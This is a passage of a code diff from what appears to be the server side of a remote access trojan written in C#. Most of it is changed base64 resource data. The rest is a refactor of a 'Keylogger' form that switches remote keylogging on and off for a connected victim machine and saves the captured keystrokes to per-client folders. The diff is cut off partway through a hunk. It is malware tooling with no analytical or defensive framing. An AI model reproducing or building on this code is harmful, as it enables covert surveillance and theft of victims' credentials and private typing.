A8MB/wPCAf8DwAH/A78B/wO+Af8DvQH/A0kBh/QAA1ABmwFyAZABlQHxAZEB4QH9Af8BkQHhAf0B/wGR
|
Af8DvwH/A74B/wO9Af8DSQGH9AADUAGbAW4BgwGGAfEBkQHhAf0B/wGRAeEB/QH/AZEB4QH9Af8BkQHh
|
||||||
AeEB/QH/AZEB4QH9Af8BkQHhAf0B/wGRAeEB/QH/AZEB4QH9Af8BmQHdAfYB/wGJAckB4gH/AYIB0gH0
|
Af0B/wGRAeEB/QH/AZEB4QH9Af8BkQHhAf0B/wGZAd0B9gH/AYkByQHiAf8BggHSAfQB/wGEAdQB9gH/
|
||||||
Af8BhAHUAfYB/wGEAdQB9wH/AYQB1AH3Af8BiAHWAfcB/wGNAdgB+AH/AY4B2AH4Af8BigHXAfgB/wGF
|
AYQB1AH3Af8BhAHUAfcB/wGIAdYB9wH/AY0B2AH4Af8BjgHYAfgB/wGKAdcB+AH/AYUB1QH3Af8BhQHU
|
||||||
AdUB9wH/AYUB1AH3Af8BjAHXAfgB/wGOAdgB+AH/AY4B2AH4Af8BjgHYAfgB/wGOAdgB+AH/AY4B2AH4
|
AfcB/wGMAdcB+AH/AY4B2AH4Af8BjgHYAfgB/wGOAdgB+AH/AY4B2AH4Af8BjgHYAfgB/wNcAckDHQEq
|
||||||
Af8DXAHJAx0BKkAAAwoBDgNMAZADzAH/A84B/wPQAf8DWwH/A9EB/wPSAf8D0wH/A9QB/wPVAf8D1QH/
|
QAADCgEOA0wBkAPMAf8DzgH/A9AB/wNYAf8D0QH/A9IB/wPTAf8D1AH/A9UB/wPVAf8D1gH/A9YB/wPX
|
||||||
A9YB/wPWAf8D1wH/A9cB/wPYAf8D2AH/A/wF/wPYAf8DxQH/A78B/wPXAf8D1wH/A9cB/wPWAf8D1gH/
|
Af8D1wH/A9gB/wPYAf8D/AX/A9gB/wPFAf8DvwH/A9cB/wPXAf8D1wH/A9YB/wPWAf8D1QH/A9UB/wPU
|
||||||
A9UB/wPVAf8D1AH/A6IB/wO/Af8D0gH/A9AB/wPPAf8DzgH/A80B/wPLAf8DIQEwAwcBCSQAAxABFQO9
|
Af8DogH/A78B/wPSAf8D0AH/A88B/wPOAf8DzQH/A8sB/wMhATADBwEJJAADEAEVA7cB/gPgAf8D3wH/
|
||||||
Af4D4AH/A98B/wPfAf8D3gH/A94B/wPdAf8D3AH/A9sB/wPbAf8D2QH/A9gB/wPYAf8D1wH/A9gB/wPY
|
A98B/wPeAf8D3gH/A90B/wPcAf8D2wH/A9sB/wPZAf8D2AH/A9gB/wPXAf8D2AH/A9gB/wPIAf8DvgH/
|
||||||
Af8DyAH/A74B/wPTAf8D1AH/A9EB/wPPAf8DzQH/A80B/wPLAf8DyQH/A8kB/wPHAf8DxgH/A8UB/wPE
|
A9MB/wPUAf8D0QH/A88B/wPNAf8DzQH/A8sB/wPJAf8DyQH/A8cB/wPGAf8DxQH/A8QB/wPCAf8DwQH/
|
||||||
Af8DwgH/A8EB/wOVAfwDNQFX9AADUAGbAXEBkAGXAfEBjwHhAf0B/wGPAeEB/QH/AZAB4QH9Af8BkQHi
|
A4wB/AM1AVf0AANQAZsBbgGDAYkB8QGPAeEB/QH/AY8B4QH9Af8BkAHhAf0B/wGRAeIB/QH/AZIB3wH6
|
||||||
Af0B/wGSAd8B+gH/AZQB3AH2Af8BkwHUAewB/wGGAcwB5wH/AYMBzwHvAf8BhAHVAfgB/wGFAdUB+AH/
|
Af8BlAHcAfYB/wGTAdQB7AH/AYYBzAHnAf8BgwHPAe8B/wGEAdUB+AH/AYUB1QH4Af8BhQHVAfgB/wGF
|
||||||
AYUB1QH4Af8BhQHVAfgB/wGMAdgB+QH/AY8B2QH5Af8BkAHZAfkB/wGJAdcB+AH/AYYB1QH4Af8BiAHX
|
AdUB+AH/AYwB2AH5Af8BjwHZAfkB/wGQAdkB+QH/AYkB1wH4Af8BhgHVAfgB/wGIAdcB+AH/AY8B2AH5
|
||||||
AfgB/wGPAdgB+QH/AZEB2QH5Af8BkQHZAfkB/wGRAdoB+QH/AZIB2QH5Af8BigHMAesB/wFYAloBwAMc
|
Af8BkQHZAfkB/wGRAdkB+QH/AZEB2gH5Af8BkgHZAfkB/wGKAcwB6wH/AVgCWgHAAxwBJ0AAAwgBCwMy
|
||||||
ASdAAAMIAQsDMgFRA8gB/wPLAf8DzQH/A00B/wPOAf8DzwH/A9AB/wPRAf8D0gH/A9IB/wPTAf8D0wH/
|
AVEDyAH/A8sB/wPNAf8DSgH/A84B/wPPAf8D0AH/A9EB/wPSAf8D0gH/A9MB/wPTAf8D1AH/A9QB/wPU
|
||||||
A9QB/wPUAf8D1AH/A9UB/wPVAf8D5wX/A98B/wO1Af8DvAH/A9QB/wPUAf8D0wH/A9MB/wPSAf8D0gH/
|
Af8D1QH/A9UB/wPnBf8D3wH/A7UB/wO8Af8D1AH/A9QB/wPTAf8D0wH/A9IB/wPSAf8D0QH/A6EB/wPP
|
||||||
A9EB/wOhAf8DzwH/A88B/wPNAf8DzQH/A8sB/wPJAf8DyAH/Ax8BLAMGAQgoAANkAdkD4gH/A+EB/wPh
|
Af8DzwH/A80B/wPNAf8DywH/A8kB/wPIAf8DHwEsAwYBCCgAA18B2QPiAf8D4QH/A+EB/wPgAf8D4AH/
|
||||||
Af8D4AH/A+AB/wPfAf8D3gH/A90B/wPcAf8D2wH/A9sB/wPaAf8D2AH/A8QB/wPCAf8DwwH/A8MB/wPB
|
A98B/wPeAf8D3QH/A9wB/wPbAf8D2wH/A9oB/wPYAf8DxAH/A8IB/wPDAf8DwwH/A8EB/wO8Af8DygH/
|
||||||
Af8DvAH/A8oB/wPRAf8D0AH/A88B/wPOAf8DzAH/A8wB/wPLAf8DyQH/A8gB/wPHAf8DxQH/A8QB/wN2
|
A9EB/wPQAf8DzwH/A84B/wPMAf8DzAH/A8sB/wPJAf8DyAH/A8cB/wPFAf8DxAH/A2wB5QMnATv0AANQ
|
||||||
AeUDJwE79AADUAGbAXABkAGXAfEBjQHiAf0B/wGPAeIB/AH/AZAB4QH6Af8BkQHeAfYB/wGSAdYB7wH/
|
AZsBbQGDAYkB8QGNAeIB/QH/AY8B4gH8Af8BkAHhAfoB/wGRAd4B9gH/AZIB1gHvAf8BdgHNAegB/wGG
|
||||||
AXkBzQHoAf8BhgHSAfEB/wGEAdMB9AH/AYQB1QH4Af8BhQHWAfkB/wGFAdYB+QH/AYYB1gH5Af8BhwHX
|
AdIB8QH/AYQB0wH0Af8BhAHVAfgB/wGFAdYB+QH/AYUB1gH5Af8BhgHWAfkB/wGHAdcB+QH/AY8B2gH6
|
||||||
AfkB/wGPAdoB+gH/AZEB2wH6Af8BkQHbAfoB/wGJAdYB+AH/AX8BuwHTAf4BeQGeAbUB/AFqAY4BngH5
|
Af8BkQHbAfoB/wGRAdsB+gH/AYkB1gH4Af8BfwG1Ac0B/gF2AZUBrwH8AWoBiwGSAfkBZQF3AXsB9AFj
|
||||||
AWUBfQGFAfQBZgFzAXoB7wFmAW4BcgHoAWIBaQFtAeEBYQFjAWYB2gNJAYgDEwEaQAADBwEJAyIBMQO4
|
AWsBcAHvAWMBZwFpAegBYQFjAWUB4QNhAdoDSQGIAxMBGkAAAwcBCQMiATEDsgH+A8YB/wPJAf8DQAH/
|
||||||
Af4DxgH/A8kB/wNDAf8DywH/A80B/wPOAf8DzwH/A9AB/wPQAf8D0AH/A9EB/wPSAf8D0gH/A9IB/wPS
|
A8sB/wPNAf8DzgH/A88B/wPQAf8D0AH/A9AB/wPRAf8D0gH/A9IB/wPSAf8D0gH/A9MB/wPTAf8D4QH/
|
||||||
Af8D0wH/A9MB/wPhAf8D5AH/A9IB/wOJAf8D0gH/A9EB/wPRAf8D0QH/A9AB/wPPAf8DzwH/A6AB/wPN
|
A+QB/wPSAf8DiQH/A9IB/wPRAf8D0QH/A9EB/wPQAf8DzwH/A88B/wOgAf8DzQH/A8wB/wPKAf8DyAH/
|
||||||
Af8DzAH/A8oB/wPIAf8DxgH/A8QB/wO+Af8DGwEmAwQBBigAA1QBpgPjAf8D4wH/A+MB/wPhAf8D4AH/
|
A8YB/wPEAf8DvgH/AxsBJgMEAQYoAANUAaYD4wH/A+MB/wPjAf8D4QH/A+AB/wPgAf8D3wH/A98B/wPe
|
||||||
A+AB/wPfAf8D3wH/A94B/wPdAf8D3QH/A9wB/wPbAf8D2AH/A8gB/wPEAf8DxgH/A8EB/wPMAf8D1AH/
|
Af8D3QH/A90B/wPcAf8D2wH/A9gB/wPIAf8DxAH/A8YB/wPBAf8DzAH/A9QB/wPTAf8D0gH/A9EB/wPQ
|
||||||
A9MB/wPSAf8D0QH/A9AB/wPOAf8DzgH/A80B/wPLAf8DywH/A8kB/wPIAf8DxwH/A2EBywMYASH0AANQ
|
Af8DzgH/A84B/wPNAf8DywH/A8sB/wPJAf8DyAH/A8cB/wNbAcsDGAEh9AADUAGaAWcBfAGCAfABigHi
|
||||||
AZoBagGIAZEB8AGKAeIB/QH/AZIB4gH7Af8BlgHZAe0B/wFlAb8B1wH/AW4BzQHtAf8BhQHWAfcB/wGG
|
Af0B/wGSAeIB+wH/AZYB2QHtAf8BYgG/AdcB/wFrAc0B7QH/AYUB1gH3Af8BhgHXAfkB/wGGAdcB+QH/
|
||||||
AdcB+QH/AYYB1wH5Af8BhgHXAfkB/wGGAdcB+QH/AYYB1wH5Af8BhwHXAfgB/wGKAdcB+AH/AZQB2wH5
|
AYYB1wH5Af8BhgHXAfkB/wGGAdcB+QH/AYcB1wH4Af8BigHXAfgB/wGUAdsB+QH/AZgB3AH5Af8BiAHK
|
||||||
Af8BmAHcAfkB/wGOAdAB7AH+AZYBvQHRAf0BdAGMAY4B+QFgAmIB7wNhAdoDWQG+A1ABnQNBAXIDMAFL
|
AeYB/gGWAboByAH9AWsBiQGLAfkBYAJiAe8DYQHaA1kBvgNQAZ0DQQFyAzABSwMcAScDBwEJAwABAUAA
|
||||||
AxwBJwMHAQkDAAEBQAADBQEHAx4BKwO0Af4DwQH/A8MB/wPEAf8DrAH/A8kB/wPKAf8DywH/A8wB/wPN
|
AwUBBwMeASsDrgH+A8EB/wPDAf8DxAH/A6wB/wPJAf8DygH/A8sB/wPMAf8DzQH/A84B/wPOAf8DzgH/
|
||||||
Af8DzgH/A84B/wPOAf8DzwH/A88B/wPPAf8DzwH/A9AB/wPQAf8DxQH/A88B/wOIAf8DpAH/A84B/wPO
|
A88B/wPPAf8DzwH/A88B/wPQAf8D0AH/A8UB/wPPAf8DiAH/A6QB/wPOAf8DzgH/A84B/wPNAf8DzAH/
|
||||||
Af8DzgH/A80B/wPMAf8DywH/A54B/wPJAf8DyAH/A8UB/wPDAf8DwgH/A8AB/wOpAf8DGAEhAwQBBSgA
|
A8sB/wOeAf8DyQH/A8gB/wPFAf8DwwH/A8IB/wPAAf8DqQH/AxgBIQMEAQUoAANCAXMD4wH/A+QB/wPj
|
||||||
A0IBcwPjAf8D5AH/A+MB/wPjAf8D4gH/A+IB/wPhAf8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3AH/
|
Af8D4wH/A+IB/wPiAf8D4QH/A+AB/wPgAf8D3wH/A98B/wPeAf8D3QH/A9wB/wPZAf8DxQH/A8EB/wPN
|
||||||
A9kB/wPFAf8DwQH/A80B/wPYAf8D1wH/A9YB/wPUAf8D0wH/A9IB/wPRAf8D0QH/A9AB/wPOAf8DzQH/
|
Af8D2AH/A9cB/wPWAf8D1AH/A9MB/wPSAf8D0QH/A9EB/wPQAf8DzgH/A80B/wPMAf8DygH/A8oB/wNW
|
||||||
A8wB/wPKAf8DygH/A1cBsQMFAQf0AANQAZoBbAGHAY8B8AGWAdsB8wH/AX8BtgHJAf4BdQGpAbsB/AFz
|
AbEDBQEH9AADUAGaAWgBegGBAfABlgHbAfMB/wF/AbABwwH+AXIBoAG1AfwBcAGaAaQB+gFqAYYBkgH1
|
||||||
AaABqwH6AW0BkQGfAfUBaQGGAZEB7wFoAX0BhQHoAWUBcwF5AeIBYwFqAXAB2wFiAWUBZwHWA1wBzAFZ
|
AWQBegGCAe8BZQFxAXYB6AFiAWgBagHiAV8BYwFkAdsDYAHWA1wBzAFZAloBvQNUAasDTAGTA0QBeQM4
|
||||||
AloBvQNUAasDTAGTA0QBeQM4AV4DMAFLAycBOgMfAS0DHAEnAxcBIAMTARoDDgETAwoBDQMFAQcDAAEB
|
AV4DMAFLAycBOgMfAS0DHAEnAxcBIAMTARoDDgETAwoBDQMFAQcDAAEBRAADBAEGAxoBJQOoAf4DvQH/
|
||||||
RAADBAEGAxoBJQOuAf4DvQH/A78B/wPAAf8DtwH/A54B/wOfAf8DogH/A6YB/wOqAf8DrgH/A7EB/wO1
|
A78B/wPAAf8DtwH/A54B/wOfAf8DogH/A6YB/wOqAf8DrgH/A7EB/wO1Af8DtwH/A7kB/wO7Af8DuwH/
|
||||||
Af8DtwH/A7kB/wO7Af8DuwH/A7oB/wO5Af8DxwH/A8oB/wO4Af8DmwH/A8EB/wPAAf8DwAH/A78B/wO/
|
A7oB/wO5Af8DxwH/A8oB/wO4Af8DmwH/A8EB/wPAAf8DwAH/A78B/wO/Af8DugH/A6EB/wPDAf8DwgH/
|
||||||
Af8DugH/A6EB/wPDAf8DwgH/A8AB/wO/Af8DvQH/A7sB/wOLAf8DFAEcAwMBBCgAAy4BSAOUAfED4wH/
|
A8AB/wO/Af8DvQH/A7sB/wOLAf8DFAEcAwMBBCgAAy4BSAOGAfED4wH/A+MB/wPjAf8D4wH/A+MB/wPi
|
||||||
A+MB/wPjAf8D4wH/A+MB/wPiAf8D4gH/A+EB/wPhAf8D4AH/A98B/wPeAf8D3gH/A90B/wPZAf8D0AH/
|
Af8D4gH/A+EB/wPhAf8D4AH/A98B/wPeAf8D3gH/A90B/wPZAf8D0AH/A9sB/wPZAf8D2AH/A9cB/wPX
|
||||||
A9sB/wPZAf8D2AH/A9cB/wPXAf8D1gH/A9UB/wPUAf8D0wH/A9IB/wPQAf8D0AH/A84B/wPNAf8DzQH/
|
Af8D1gH/A9UB/wPUAf8D0wH/A9IB/wPQAf8D0AH/A84B/wPNAf8DzQH/A0cBgPgAA0kBhwNdAdMDYQHc
|
||||||
A0cBgPgAA0kBhwFdAl4B0wFhAWUBZwHcAV4BYQFiAdUDXAHMA1kBvwNWAasDTgGUA0QBeQM6AWADLwFK
|
A14B1QNcAcwDWQG/A1YBqwNOAZQDRAF5AzoBYAMvAUoDJgE5AyABLgMbASYDFwEgAxMBGgMPARQDCgEN
|
||||||
AyYBOQMgAS4DGwEmAxcBIAMTARoDDwEUAwoBDQMGAQgDAwEEAwABAQMAAQFcAAMDAQQDEwEaA5EB/gPC
|
AwYBCAMDAQQDAAEBAwABAVwAAwMBBAMTARoDiwH+A8IB/wPOAf8DzQH/A70B/wPMAf8D5wH/AeUC5gH/
|
||||||
Af8DzgH/A80B/wO9Af8DzAH/A+cB/wHlAuYB/wHJAsoB/wPfAf8D0QH/Ab8CwAH/AdMC1AH/AcYCxwH/
|
AckCygH/A98B/wPRAf8BvwLAAf8B0wLUAf8BxgLHAf8B2wLdAf8B0QLSAf8DtwH/AcMCxAH/AdwC3QH/
|
||||||
AdsC3QH/AdEC0gH/A7cB/wHDAsQB/wHcAt0B/wHcAt0B/wHNAs4B/wPHAf8DtAH/A7sB/wO8Af8DuwH/
|
AdwC3QH/Ac0CzgH/A8cB/wO0Af8DuwH/A7wB/wO7Af8DugH/A7kB/wO1Af8DuAH/A78B/wO+Af8DvAH/
|
||||||
A7oB/wO5Af8DtQH/A7gB/wO/Af8DvgH/A7wB/wPQAf8DxQH/A8IB/wNuAf8DDwEUAwEBAigAAxABFQNQ
|
A9AB/wPFAf8DwgH/A2sB/wMPARQDAQECKAADEAEVA1ABmwPiAf8D4wH/A+MB/wPkAf8D4wH/A+MB/wPj
|
||||||
AZsD4gH/A+MB/wPjAf8D5AH/A+MB/wPjAf8D4wH/A+MB/wPiAf8D4gH/A+EB/wPgAf8D3wH/A98B/wPd
|
Af8D4wH/A+IB/wPiAf8D4QH/A+AB/wPfAf8D3wH/A90B/wPdAf8D3QH/A9sB/wPaAf8D2QH/A9kB/wPY
|
||||||
Af8D3QH/A90B/wPbAf8D2gH/A9kB/wPZAf8D2AH/A9cB/wPWAf8D1QH/A9QB/wPSAf8D0gH/A9EB/wO0
|
Af8D1wH/A9YB/wPVAf8D1AH/A9IB/wPSAf8D0QH/A64B/gNaAcADGAEi+AADHAEoAywBQwMhATADEwEa
|
||||||
Af4DWgHAAxgBIvgAAxwBKAMsAUMDIQEwAxMBGgMHAQoDAAEBnwABAQMIAQsDaAH+A5YB/wNxAf8DgQH/
|
AwcBCgMAAQGfAAEBAwgBCwNoAf4DlgH/A24B/wOBAf8DugH/A8cB/wP9Af8B+wL8Af8B+QL6Af8D+AH/
|
||||||
A7oB/wPHAf8D/QH/AfsC/AH/AfkC+gH/A/gB/wH2AvcB/wH0AvUB/wHyAvQB/wHxAvMB/wHvAvEB/wHv
|
AfYC9wH/AfQC9QH/AfIC9AH/AfEC8wH/Ae8C8QH/Ae8C8QH/Ae4C8AH/Ae4C8AH/Ae0C7wH/Ae0C7wH/
|
||||||
AvEB/wHuAvAB/wHuAvAB/wHtAu8B/wHtAu8B/wHPAtAB/wPCAf8DwgH/A8EB/wPAAf8DwAH/A78B/wO+
|
Ac8C0AH/A8IB/wPCAf8DwQH/A8AB/wPAAf8DvwH/A74B/wO9Af8DvAH/A7sB/wO6Af8DuwH/AyIB/wOT
|
||||||
Af8DvQH/A7wB/wO7Af8DugH/A7sB/wMlAf8DkwH/A7MB/wNbAcQDBgEIAwABATAAAxsBJgM4AVwDOQFf
|
Af8DswH/A1sBxAMGAQgDAAEBMAADGwEmAzgBXAM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFf
|
||||||
AzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFf
|
AzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFf
|
||||||
AzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM4AV0DIwEz/wABAAMFAQcDCAEL
|
AzkBXwM5AV8DOQFfAzgBXQMjATP/AAEAAwUBBwMIAQsDBgEIAwQBBQMBAQKkAAMBAQIDTAGTA1MBqgNW
|
||||||
AwYBCAMEAQUDAQECpAADAQECA0wBkwNTAaoDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW
|
|
||||||
AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW
|
AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW
|
||||||
AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDUwGqAwwBEAMAAQH/AP8AbQABAQMA
|
AasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNW
|
||||||
BAEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
|
AasDVgGrA1YBqwNTAaoDDAEQAwABAf8A/wBtAAEBAwAEAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
|
||||||
AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
|
AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
|
||||||
AwEBAgMBAQIDAQECAwABAf8A/wD/AP8AnAABQgFNAT4HAAE+AwABKAMAAcADAAEwAwABAQEAAQEFAAGA
|
AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFC
|
||||||
AQQWAAP/AQAB/wH4AT8B/wHfAf8B4AQAAQMG/wYAAf8B+AEPAfwBAQH/AcAEAAEBBv8GAAH/AfgBDwH4
|
AU0BPgcAAT4DAAEoAwABwAMAATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/
|
||||||
AQEB/wGABQAG/wYAAf8BwAMAAT8BgAUABv8GAAH/BAABPwGABQABwAQAAQMGAAH/BAABPwGABQABgAQA
|
BgAB/wH4AQ8B/AEBAf8BwAQAAQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYA
|
||||||
AQEGAAH+BAABDwGAEQAB/gQAAQ8BgBEAAf4EAAEPAYARAAH+BAABBwGAEQAB/gQAAQMBgBEAAf4EAAEB
|
Af8EAAE/AYAFAAHABAABAwYAAf8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQA
|
||||||
AYARAAH+BAABAQGAEQAB/gQAAQEBgAUAAYALAAH+BAABBwGABQABgAsAAf4EAAEPAYAFAAGACwAB/gMA
|
AQ8BgBEAAf4EAAEHAYARAAH+BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsA
|
||||||
AQEB/wGABAABAQGABAABAQYAAf4DAAEBAf8BgAQAAQEBgAQAAQEGAAH+AwABAQH/AYAEAAEBAYAEAAEB
|
Af4EAAEHAYAFAAGACwAB/gQAAQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGA
|
||||||
BgAB/gMAAQcB/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEB
|
BAABAQGABAABAQYAAf4DAAEBAf8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMA
|
||||||
AcAEAAEDBgAB/gMAAQ8B/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/
|
AQ8B/wHABAABAQHABAABAwYAAf4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAED
|
||||||
AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHABAABAQHgBAABBwYAAf4DAAEPAf8BwAQAAQEB8AQAAQcGAAH+
|
BgAB/gMAAQ8B/wHABAABAQHgBAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEB
|
||||||
AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMAAQ8B/wHABAABAwHwBAABBwYAAf4DAAEPAf8B4AQAAQMB8AQA
|
AeAEAAEHBgAB/gMAAQ8B/wHABAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/
|
||||||
AQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEPBgAB/gMAAQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQA
|
AcAEAAEDAfAEAAEHBgAB/gMAAQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+
|
||||||
AQMB+AQAAR8GAAH+AwABDwH/AeAEAAEDAfgEAAEfBgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEP
|
AwABDwH/AeAEAAEDAfAEAAEPBgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQA
|
||||||
Af8B4AQAAQcB+AQAAR8GAAH+AwABDwH/AeAEAAEHAfwEAAEfBgAB/gMAAQ8B/wHwBAABBwH8BAABPwYA
|
AR8GAAH+AwABDwH/AeAEAAEDAfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQA
|
||||||
Af4DAAEPAf8B8AQAAQcB/AQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+
|
AQcB/AQAAR8GAAH+AwABDwH/AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEP
|
||||||
BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+AwABHwH/AfAEAAEHAf4EAAF/BgAB/gIAAQcC/wHw
|
Af8B8AQAAQcB/gQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYA
|
||||||
BAABBwH+BAABfwYAAf4BBwT/AfAEAAEHAf8BgAIAAQEB/wYAAf4BDwT/AfgEAAEPBv8GAAb/AfwEAAE/
|
Af4DAAEfAf8B8AQAAQcB/gQAAX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGA
|
||||||
Bv8GABL/BgAL
|
AgABAQH/BgAB/gEPBP8B+AQAAQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs=
|
||||||
</value>
|
</value>
|
||||||
</data>
|
</data>
|
||||||
<metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
<metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
@ -92,6 +92,7 @@
|
|||||||
//
|
//
|
||||||
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||||
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||||
|
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
this.richTextBox1.Location = new System.Drawing.Point(0, 34);
|
this.richTextBox1.Location = new System.Drawing.Point(0, 34);
|
||||||
this.richTextBox1.Name = "richTextBox1";
|
this.richTextBox1.Name = "richTextBox1";
|
||||||
this.richTextBox1.ReadOnly = true;
|
this.richTextBox1.ReadOnly = true;
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
@ -22,21 +22,25 @@ namespace Server.Forms
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Form1 F { get; set; }
|
public Form1 F { get; set; }
|
||||||
internal Clients C { get; set; }
|
internal Clients Client { get; set; }
|
||||||
public StringBuilder SB = new StringBuilder();
|
public StringBuilder Sb = new StringBuilder();
|
||||||
|
|
||||||
private void Timer1_Tick(object sender, EventArgs e)
|
private void Timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.ClientSocket.Connected) this.Close();
|
try
|
||||||
|
{
|
||||||
|
if (!Client.TcpClient.Connected) this.Close();
|
||||||
|
}
|
||||||
|
catch { this.Close(); }
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
|
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
|
||||||
{
|
{
|
||||||
SB?.Clear();
|
Sb?.Clear();
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||||
msgpack.ForcePathObject("isON").AsString = "false";
|
msgpack.ForcePathObject("isON").AsString = "false";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
|
private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
|
||||||
@ -67,7 +71,7 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\Keylogger");
|
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID + "\\Keylogger");
|
||||||
if (!Directory.Exists(fullPath))
|
if (!Directory.Exists(fullPath))
|
||||||
Directory.CreateDirectory(fullPath);
|
Directory.CreateDirectory(fullPath);
|
||||||
File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine));
|
File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine));
|
||||||
|
@ -9,23 +9,28 @@ using System.Threading;
|
|||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
